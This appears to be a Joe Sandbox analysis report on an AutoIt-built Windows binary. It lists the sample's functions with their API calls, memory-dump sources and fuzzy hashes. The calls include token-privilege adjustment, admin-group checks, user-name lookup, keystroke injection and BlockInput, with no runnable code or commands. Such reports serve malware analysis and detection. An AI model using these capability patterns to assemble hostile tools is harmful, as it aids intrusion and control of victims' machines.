API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: dd5c31487a5bfb75f4abbbdd3390c13b084206c2ce89b6c4916ad9dbf48cda69
Instruction ID: a7dc8760a7b091a609ae777034975cdf38bcbf189a3dca0958cc46c67074b407
Opcode Fuzzy Hash: dd5c31487a5bfb75f4abbbdd3390c13b084206c2ce89b6c4916ad9dbf48cda69
Instruction Fuzzy Hash: 9031D67591121C9BCB21DF68DD897DDB7B8AF48310F5041EAE41CA72A1E7309F818F45

Function 009551CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 009551DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00955238
SetErrorMode.KERNEL32(00000000), ref: 009552A1

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 7889572ceb5f94e0757af5aff91b024b327d6f6958d0ae135e4da532d9ec1c42
Instruction ID: aadfac842077c3ba5f9de72d81832b51ceeba0ce026606d65a5ef21f65e65096
Opcode Fuzzy Hash: 7889572ceb5f94e0757af5aff91b024b327d6f6958d0ae135e4da532d9ec1c42
Instruction Fuzzy Hash: E031BF75A00508DFDB00DF55D884EADBBB4FF09314F0580A9E809AB362DB31EC4ACB91

Function 009416C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 008FFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00900668
Part of subcall function 008FFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00900685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0094170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0094173A
GetLastError.KERNEL32 ref: 0094174A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 5ddad0f8a485d8ddc83cc72583e8e02177f0b9b0f08154b87ba6e0322ea0363e
Instruction ID: 5c19acca6426fd6cf09292c5e5a6ff5af7636cda3ef0f72dbca69bbf2277a4d1
Opcode Fuzzy Hash: 5ddad0f8a485d8ddc83cc72583e8e02177f0b9b0f08154b87ba6e0322ea0363e
Instruction Fuzzy Hash: 4D11CEB2414309AFE718AF64DC86D6AB7BDFF04714B20852EE15693241EB70FC818B60

Function 0094D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0094D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0094D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0094D650

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: abd04d0c6bb03b80130b6e13ac1651b0a4cdfb2c0b8d7771b18cfb7db9e820e5
Instruction ID: 811e3f5748f1608a3eb34b712a33fcad2c2b6e6ae3286c3a9aedbbd160ceeb62
Opcode Fuzzy Hash: abd04d0c6bb03b80130b6e13ac1651b0a4cdfb2c0b8d7771b18cfb7db9e820e5
Instruction Fuzzy Hash: 7511A1B6E05228BFDB108F98DC44FAFBFBCEB45B50F108125F908E7290C2704A018BA1

Function 00941663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0094168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 009416A1
FreeSid.ADVAPI32(?), ref: 009416B1

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: cfa6a3491f0db0fe9bbd8c9e13e6fbcb95dcebd056c5d2fd0133f2a414777a1d
Instruction ID: a17d3918a147d0916cc6b343115465aafb2d79652d5411e0b771a9c2a6b53012
Opcode Fuzzy Hash: cfa6a3491f0db0fe9bbd8c9e13e6fbcb95dcebd056c5d2fd0133f2a414777a1d
Instruction Fuzzy Hash: B8F0F4B2950309FBDF00DFE49C89EAEBBBCFB08604F504565E501E2181E774AA849BA0

Function 0091C2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 0091C36C

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 0c15e3fdb0d702db9f2b231918cbb5a23b1e798719cc6288825e0a16c8502db6
Instruction ID: 171c51851f32854f144e292c7bd76da19580950c2efe8a40136015ee1f4e2485
Opcode Fuzzy Hash: 0c15e3fdb0d702db9f2b231918cbb5a23b1e798719cc6288825e0a16c8502db6
Instruction Fuzzy Hash: 274125B2A4021DAFCB20AFB9CC48EFB77BCEB84714F1046A9F915D7180E6309D818B50

Function 0093D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0093D28C

Strings

X64, xrefs: 0093D2A8

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: ebad1094f7d09e45d64c5ce57b65cd50feb97421859f648805ed7a383b3c6b48
Instruction ID: 79cc3311d5f3a09fac9056f64bb0d45baca58a8e577c2e027caabdae969518d9
Opcode Fuzzy Hash: ebad1094f7d09e45d64c5ce57b65cd50feb97421859f648805ed7a383b3c6b48
Instruction Fuzzy Hash: CFD0C9B581511DEADF90CBA0EC88DDAB37CBB04305F100555F606E2000DB3495489F10

Function 009568EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00956918
FindClose.KERNEL32(00000000), ref: 00956961

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: cb2029e588515ad76c9c304a2d4980f06d981b781f05fbb86c511bfb99120eee
Instruction ID: 658f2487575da50b5330faaba0e445999e7c20eb9550d4ad5e945a204c442296
Opcode Fuzzy Hash: cb2029e588515ad76c9c304a2d4980f06d981b781f05fbb86c511bfb99120eee
Instruction Fuzzy Hash: 0611D0716042009FC710CF2AD484A16BBE4FF85329F44C69DE8698F2A2CB30EC45CB91

Function 009537B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00964891,?,?,00000035,?), ref: 009537E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00964891,?,?,00000035,?), ref: 009537F4

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 4eb56cca7ff6c37f73d6a354dccea63b101d44589d219d54d8260d7002257885
Instruction ID: a791772a4ead227f22f1b96c3f8e4bbc35dd422787047cbf4afe1126a925a0a9
Opcode Fuzzy Hash: 4eb56cca7ff6c37f73d6a354dccea63b101d44589d219d54d8260d7002257885
Instruction Fuzzy Hash: DBF0ECB16042252AE71057765C4DFDB379DEFC5761F000165F509D2281D9609944D7B0

Function 0094B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 0094B25D
keybd_event.USER32(?,75A8C0D0,?,00000000), ref: 0094B270

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 5ec22f9b2d2942f1e14ccd81bd7e6a8b6b296165a35725d59bf6a0ba73809ff8
Instruction ID: 23ebc24e5e4ba15f68f65c15f944624fbec23e323beced1771bab034de0aaf9e
Opcode Fuzzy Hash: 5ec22f9b2d2942f1e14ccd81bd7e6a8b6b296165a35725d59bf6a0ba73809ff8
Instruction Fuzzy Hash: 56F01D7181424EABDB059FA0C805BAE7BB4FF14305F008409F965A5191D779D6519F94

Function 009410BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,009411FC), ref: 009410D4
CloseHandle.KERNEL32(?,?,009411FC), ref: 009410E9

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 902ed0df931d22016b8d9781652db9f3887e7e11b9bc42b13324462251ca0c12
Instruction ID: e2e9efc095dfae83b282a4a6a5ae04a75bdd7cbee67ab7338c5a2c0491929ecf
Opcode Fuzzy Hash: 902ed0df931d22016b8d9781652db9f3887e7e11b9bc42b13324462251ca0c12
Instruction Fuzzy Hash: 32E0BF72018610EEF7252B65FC05E7777A9FF04310B14882DF6A5D44B1DB626CD0EB50

Function 0095EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 0095EABD

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 1795c22639850fa7c3cbeb74a66d989148a24b74bebf5bb53abdb682debee398
Instruction ID: e64c4a21e3dc0559610bb282085a38e2d5d7fac59684c1db928526116d76223b
Opcode Fuzzy Hash: 1795c22639850fa7c3cbeb74a66d989148a24b74bebf5bb53abdb682debee398
Instruction Fuzzy Hash: 07E09A362002009FC300EF6AD804E8AB7EDFF98760F00841AFC0AC7250CAB0E8408B91

Function 009009D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,009003EE), ref: 009009DA

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 72f98d1bbf433826fa9901366d31a052632791720617ebfb83111e509d032e45
Instruction ID: eddb1e0fe77ae660060d07e3f7ede5bf9765c752a4aad2e075b151050108bd06
Opcode Fuzzy Hash: 72f98d1bbf433826fa9901366d31a052632791720617ebfb83111e509d032e45
Instruction Fuzzy Hash:

Function 00962ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00962B30
DeleteObject.GDI32(00000000), ref: 00962B43
DestroyWindow.USER32 ref: 00962B52
GetDesktopWindow.USER32 ref: 00962B6D
GetWindowRect.USER32(00000000), ref: 00962B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00962CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00962CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00962CF8
GetClientRect.USER32(00000000,?), ref: 00962D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00962D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00962D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00962D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00962D80
GlobalLock.KERNEL32(00000000), ref: 00962D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00962D98
GlobalUnlock.KERNEL32(00000000), ref: 00962DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00962DA8
GlobalFree.KERNEL32(00000000), ref: 00962DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00962DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,0097FC38,00000000), ref: 00962DDB
GlobalFree.KERNEL32(00000000), ref: 00962DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00962E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00962E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00962E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0096303F

Strings

DISPLAY, xrefs: 00962EA2
static, xrefs: 00962D3A, 00962E91
AutoIt v3, xrefs: 00962CF2
, xrefs: 00962FC5

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 9500cdacdcd28e8c1619db602ddb6372b86007d6f8f52a6f16dfc2f07dcfb152
Instruction ID: 09c3e7fbf53c1db45e2c07387f5ed62b3ef6950428cd30aaf7d459ec6b821b94
Opcode Fuzzy Hash: 9500cdacdcd28e8c1619db602ddb6372b86007d6f8f52a6f16dfc2f07dcfb152
Instruction Fuzzy Hash: 5C027DB2610205EFDB14DF64CD89EAE7BB9FB49710F048158F919AB2A1DB34ED40DB60

Function 009770D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0097712F
GetSysColorBrush.USER32(0000000F), ref: 00977160
GetSysColor.USER32(0000000F), ref: 0097716C
SetBkColor.GDI32(?,000000FF), ref: 00977186
SelectObject.GDI32(?,?), ref: 00977195
InflateRect.USER32(?,000000FF,000000FF), ref: 009771C0
GetSysColor.USER32(00000010), ref: 009771C8
CreateSolidBrush.GDI32(00000000), ref: 009771CF
FrameRect.USER32(?,?,00000000), ref: 009771DE
DeleteObject.GDI32(00000000), ref: 009771E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00977230
FillRect.USER32(?,?,?), ref: 00977262
GetWindowLongW.USER32(?,000000F0), ref: 00977284

Part of subcall function 009773E8: GetSysColor.USER32(00000012), ref: 00977421
Part of subcall function 009773E8: SetTextColor.GDI32(?,?), ref: 00977425
Part of subcall function 009773E8: GetSysColorBrush.USER32(0000000F), ref: 0097743B
Part of subcall function 009773E8: GetSysColor.USER32(0000000F), ref: 00977446
Part of subcall function 009773E8: GetSysColor.USER32(00000011), ref: 00977463
Part of subcall function 009773E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00977471
Part of subcall function 009773E8: SelectObject.GDI32(?,00000000), ref: 00977482
Part of subcall function 009773E8: SetBkColor.GDI32(?,00000000), ref: 0097748B
Part of subcall function 009773E8: SelectObject.GDI32(?,?), ref: 00977498
Part of subcall function 009773E8: InflateRect.USER32(?,000000FF,000000FF), ref: 009774B7
Part of subcall function 009773E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 009774CE
Part of subcall function 009773E8: GetWindowLongW.USER32(00000000,000000F0), ref: 009774DB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: b61d885b76fe01bcb3726ba9f3352eb00527473b692112da6b1655a84d04a76e
Instruction ID: 7fbee90d0adae358e43c66eccaa4323688a77bdb3516368b07b4a846cfa2256e
Opcode Fuzzy Hash: b61d885b76fe01bcb3726ba9f3352eb00527473b692112da6b1655a84d04a76e
Instruction Fuzzy Hash: 2AA1B2B311C301AFD7009F60DC48A6BBBA9FF49321F104A1DF96A961E1D735E984DB51

Function 008F8D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 008F8E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00936AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00936AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00936F43

Part of subcall function 008F8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,008F8BE8,?,00000000,?,?,?,?,008F8BBA,00000000,?), ref: 008F8FC5

SendMessageW.USER32(?,00001053), ref: 00936F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00936F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00936FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00936FB7

Strings

0, xrefs: 00936DCF

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: 707cbdb4247b2ebdadb2e490ad3cd5eb83c7ab63e75b7c66c83de32e89501ed9
Instruction ID: 4693afc5f38a6d3c56cb042bdaf3a54ea8522481b3309862b3a4ee09977e7d75
Opcode Fuzzy Hash: 707cbdb4247b2ebdadb2e490ad3cd5eb83c7ab63e75b7c66c83de32e89501ed9
Instruction Fuzzy Hash: C912CA31208245EFDB25CF28D994BBABBF9FB44310F548529F589CB261CB31A891DF91

Function 00962711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0096273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0096286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 009628A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 009628B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00962900
GetClientRect.USER32(00000000,?), ref: 0096290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00962955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00962964
GetStockObject.GDI32(00000011), ref: 00962974
SelectObject.GDI32(00000000,00000000), ref: 00962978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00962988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00962991
DeleteDC.GDI32(00000000), ref: 0096299A
